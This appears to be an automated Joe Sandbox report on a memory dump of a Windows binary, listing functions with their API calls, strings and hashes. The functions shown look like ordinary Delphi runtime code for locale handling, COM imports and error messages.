Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 2128b34291823b7b3d39fc22196f9eeb1ad11300c5a3118c73b07de52b1b2571
Instruction ID: 52649e2d94543fdcb3a30ac6e6b0dabf094fb67293b6e7ce1840d5ae62415530
Opcode Fuzzy Hash: 2128b34291823b7b3d39fc22196f9eeb1ad11300c5a3118c73b07de52b1b2571
Instruction Fuzzy Hash: DEE0D835B0021817D711A9585C90DFA736DA79C310F20417EBD04D7340EEA09D404AE6

Function 029CB714 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,029EC106,00000000,029EC11E), ref: 029CB722

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: c6a5654ba9a1af36726335ac11077de7c4e3a524c68071aeaf6d80e3a7f6eebe
Instruction ID: 8f612ca79815ce515526f80fa9757fd5e4ac82083390acb2f2f0438fa81760f3
Opcode Fuzzy Hash: c6a5654ba9a1af36726335ac11077de7c4e3a524c68071aeaf6d80e3a7f6eebe
Instruction Fuzzy Hash: 70F0A4B4948301DFCB50DF28D552A2577E9FB89714F54492DE899CB380E7369414CF62

Function 029CA798 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,029CBDFA,00000000,029CC013,?,?,00000000,00000000), ref: 029CA7AB

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 23fe133b6f3189abf78f0258856cb74c0ef8cfe774ed9d6b2b97d20fe01198e3
Instruction ID: a257b154fc7aa7c2b30cf773c51748f6997f27cf2552f32ee9d0a473a483ee8c
Opcode Fuzzy Hash: 23fe133b6f3189abf78f0258856cb74c0ef8cfe774ed9d6b2b97d20fe01198e3
Instruction Fuzzy Hash: 13D05EA630E2642AA220655A2D94DBB5AECDAC97A1F20843EF548C6240D2008C0696F2

Function 029C9194 Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 029C9198

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: b1eecd68d2e37ad01dc8be627e7f9539d8c1b79e2157fe00e2d627bfaf393da5
Instruction ID: 45152c4260b64b034d1a1fd20f92c65a22fdc1eac42d1133401519de928671c5
Opcode Fuzzy Hash: b1eecd68d2e37ad01dc8be627e7f9539d8c1b79e2157fe00e2d627bfaf393da5
Instruction Fuzzy Hash: 3AA01100808820028A803B280C0223A3088A880B20FE80F88A8F8802E0EE2E0220A0E3

Function 029C20C4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Function 029CD21C Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 029CD225

Part of subcall function 029CD1F0: GetProcAddress.KERNEL32(00000000), ref: 029CD209

Strings

VarBoolFromStr, xrefs: 029CD3BF
VarCyFromStr, xrefs: 029CD3A9
VarAnd, xrefs: 029CD2F9
VarR4FromStr, xrefs: 029CD367
VarIdiv, xrefs: 029CD2CD
VarMod, xrefs: 029CD2E3
VarNeg, xrefs: 029CD249
VariantChangeTypeEx, xrefs: 029CD233
VarOr, xrefs: 029CD30F
VarI4FromStr, xrefs: 029CD351
VarMul, xrefs: 029CD2A1
oleaut32.dll, xrefs: 029CD220
VarNot, xrefs: 029CD25F
VarBstrFromBool, xrefs: 029CD401
VarXor, xrefs: 029CD325
VarDiv, xrefs: 029CD2B7
VarDateFromStr, xrefs: 029CD393
VarCmp, xrefs: 029CD33B
VarR8FromStr, xrefs: 029CD37D
VarBstrFromDate, xrefs: 029CD3EB
VarSub, xrefs: 029CD28B
VarBstrFromCy, xrefs: 029CD3D5
VarAdd, xrefs: 029CD275

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: b7105dad7ec26a3bbe78949607e3e30c02f78c17d1a5075c0d1bd95de886f328
Instruction ID: 02cd207f372afc98ab7607856f6110a1d8611392e535ed159427a8e7b1bbb322
Opcode Fuzzy Hash: b7105dad7ec26a3bbe78949607e3e30c02f78c17d1a5075c0d1bd95de886f328
Instruction Fuzzy Hash: C54150B1A843485A561CAB6D7400537BBEADAC97113B1443EB50CCA786DE30B8568F3F

Function 029D6E60 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 029D6E66
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 029D6E77
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 029D6E87
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 029D6E97
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 029D6EA7
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 029D6EB7
GetProcAddress.KERNEL32(?,CoSuspendClassObjects), ref: 029D6EC7

Strings

CoCreateInstanceEx, xrefs: 029D6E71
CoInitializeEx, xrefs: 029D6E81
CoReleaseServerProcess, xrefs: 029D6EA1
CoAddRefServerProcess, xrefs: 029D6E91
CoResumeClassObjects, xrefs: 029D6EB1
CoSuspendClassObjects, xrefs: 029D6EC1
ole32.dll, xrefs: 029D6E61

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: 0ce8dfafc71b997657c61513f0fc8e56a8225c47855fb5cc4d70e025297da2ce
Instruction ID: e45ee5f88b7641320fda0e398172941436605dd5ec3b6aadcb0653f1b4e3b2d1
Opcode Fuzzy Hash: 0ce8dfafc71b997657c61513f0fc8e56a8225c47855fb5cc4d70e025297da2ce
Instruction Fuzzy Hash: F4F050B2A8D711EEBB00BF74BE81837275E95D0604720592D74425D542DBB599205F71

Function 029C2530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 029C28CE

Strings

An unexpected memory leak has occurred. , xrefs: 029C2690
The unexpected small block leaks are:, xrefs: 029C2707
The sizes of unexpected leaked medium and large blocks are: , xrefs: 029C2849
, xrefs: 029C2814
String, xrefs: 029C27A1
bytes: , xrefs: 029C275D
Unexpected Memory Leak, xrefs: 029C28C0
7, xrefs: 029C26A1
Unknown, xrefs: 029C278C

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: 3742fb4401b4e5de70a67974404fd9fe757c61a33189f38b3ac468f3b5a0d3bc
Instruction ID: aca542ad5797af26e24d9b90f4d4cc539a2b9b7a6ed4c07a1a6a42766c2be988
Opcode Fuzzy Hash: 3742fb4401b4e5de70a67974404fd9fe757c61a33189f38b3ac468f3b5a0d3bc
Instruction Fuzzy Hash: 21A1D330E043948BDB21AB2CCC84B99B6E9EB49750F2440F9DD49AB386CF759985CF52

Function 029C252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

An unexpected memory leak has occurred. , xrefs: 029C2690
The unexpected small block leaks are:, xrefs: 029C2707
The sizes of unexpected leaked medium and large blocks are: , xrefs: 029C2849
, xrefs: 029C2814
bytes: , xrefs: 029C275D
Unexpected Memory Leak, xrefs: 029C28C0
7, xrefs: 029C26A1

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: 71874c310898fdff6a34da30d207bfc2f13abab31681b9129e1f0ede12ebbb9b
Instruction ID: 226e42f1e5d56b7d5cae8dd119779e86c3f62c6592ddf3aecc69de1fc3af70b0
Opcode Fuzzy Hash: 71874c310898fdff6a34da30d207bfc2f13abab31681b9129e1f0ede12ebbb9b
Instruction Fuzzy Hash: 7D71A330E042988FDB21EB2CCC84B99BAE9EB49754F2041E9D9499B281DF754AC5CF52

Function 029CBD48 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,029CC013,?,?,00000000,00000000), ref: 029CBD7E

Part of subcall function 029CA74C: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 029CA76A

Strings

AMPM, xrefs: 029CBF92
mmmm d, yyyy, xrefs: 029CBE7A
m/d/yy, xrefs: 029CBE4D
AMPM , xrefs: 029CBFA1
:mm:ss, xrefs: 029CBFCE
:mm, xrefs: 029CBFB1

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: 9fde01a6350bdc980a9953e2817079f2c907db9f6f86896dca05c335cb6e426c
Instruction ID: 463c029e5c5ec361e6536d9a8e657e73c20ba9d1fd10f34a22690d4048fba0a8
Opcode Fuzzy Hash: 9fde01a6350bdc980a9953e2817079f2c907db9f6f86896dca05c335cb6e426c
Instruction Fuzzy Hash: E7613435B002489BDB00EBB8D86069FB7FBABD9300F70943D9105AB745DA35D9098FA7

Function 029DAE20 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 029DAE40
GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 029DAE57
IsBadReadPtr.KERNEL32(?,00000004), ref: 029DAEEB
IsBadReadPtr.KERNEL32(?,00000002), ref: 029DAEF7
IsBadReadPtr.KERNEL32(?,00000014), ref: 029DAF0B

Strings

LoadLibraryExA, xrefs: 029DAE4D
KernelBase, xrefs: 029DAE52

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: Read$HandleModule
String ID: KernelBase$LoadLibraryExA
API String ID: 2226866862-113032527
Opcode ID: 1387093b9f8e90d4954ee94975080c701c6e4c6154b20d657fbefb858625b301
Instruction ID: 9ca3a80466205a6e0cf9cb8267ffc17b14f1cf1ebe4e677c9bde0e5896baebf4
Opcode Fuzzy Hash: 1387093b9f8e90d4954ee94975080c701c6e4c6154b20d657fbefb858625b301
Instruction Fuzzy Hash: 253174B2A40304BBDB20DF68CD85F5977ACAF45324F108564FA54EB281D374E960EB65

Function 029C432C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,029C43F3,?,?,02A207C8,?,?,029ED7A8,029C655D,029EC30D), ref: 029C4365
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,029C43F3,?,?,02A207C8,?,?,029ED7A8,029C655D,029EC30D), ref: 029C436B
GetStdHandle.KERNEL32(000000F5,029C43B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,029C43F3,?,?,02A207C8), ref: 029C4380
WriteFile.KERNEL32(00000000,000000F5,029C43B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,029C43F3,?,?), ref: 029C4386
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 029C43A4

Strings

Runtime error at 00000000, xrefs: 029C435E, 029C439D
Error, xrefs: 029C4398

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: c5b2505a97b87ae4d70ef8caade6e2ac9064cdc373c22367a2247d77ef6f0490
Instruction ID: a0155842661a1391bcd0456c9d2450539d6110ac294b5624a683954f00b17af3
Opcode Fuzzy Hash: c5b2505a97b87ae4d70ef8caade6e2ac9064cdc373c22367a2247d77ef6f0490
Instruction Fuzzy Hash: 28F090B0BC434079FE15A7A0AE66F59675C47C4B35F340A0DB625A81C2CBA9D0C5CB3B

Function 029CAE4C Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 029CACC4: VirtualQuery.KERNEL32(?,?,0000001C), ref: 029CACE1
Part of subcall function 029CACC4: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 029CAD05
Part of subcall function 029CACC4: GetModuleFileNameA.KERNEL32(029C0000,?,00000105), ref: 029CAD20
Part of subcall function 029CACC4: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 029CADB6

CharToOemA.USER32(?,?), ref: 029CAE83
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 029CAEA0
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 029CAEA6
GetStdHandle.KERNEL32(000000F4,029CAF10,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 029CAEBB
WriteFile.KERNEL32(00000000,000000F4,029CAF10,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 029CAEC1
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 029CAEE3
MessageBoxA.USER32(00000000,?,?,00002010), ref: 029CAEF9

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: eaef128e03162120a97379982cf9fa4b3a6bf283baad14afaaa51881b3249593
Instruction ID: 89ade34ed2fc2b1117a93c6ac5dd1f94f38859e26416e97bb8bff29c4aa8f8a9
Opcode Fuzzy Hash: eaef128e03162120a97379982cf9fa4b3a6bf283baad14afaaa51881b3249593
Instruction Fuzzy Hash: B0117CB2588304BAD200FBA4CD84F9B77EEABC4710F60092EB384D60D0DA74E9448F67

Function 029CE514 Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 029CE5AD
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 029CE5C9
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 029CE602
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 029CE67F
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 029CE698
VariantCopy.OLEAUT32(?,00000000), ref: 029CE6CD

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction ID: c884a381b70437853b17c7616dbb394f29b30e78ebb71aed97ea13f4e5108153
Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction Fuzzy Hash: 8651E875A1062D9BCB26EB58CC80BD9B7BDBF8C300F5041E9E549A7241D734AF858F62

Function 029C3568 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 029C358A
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,029C35D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 029C35BD
RegCloseKey.ADVAPI32(?,029C35E0,00000000,?,00000004,00000000,029C35D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 029C35D3

Strings

FPUMaskValue, xrefs: 029C35B4
SOFTWARE\Borland\Delphi\RTL, xrefs: 029C3580

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: df82f6ae10c9837bd35d91a1d7302bc6038e677b1c39337f0bd34b319d8163b4
Instruction ID: 01c70c73a7cef30ba0ec158296a1d78883ff80dbaa23d7adf8413f81cc2d78b0
Opcode Fuzzy Hash: df82f6ae10c9837bd35d91a1d7302bc6038e677b1c39337f0bd34b319d8163b4
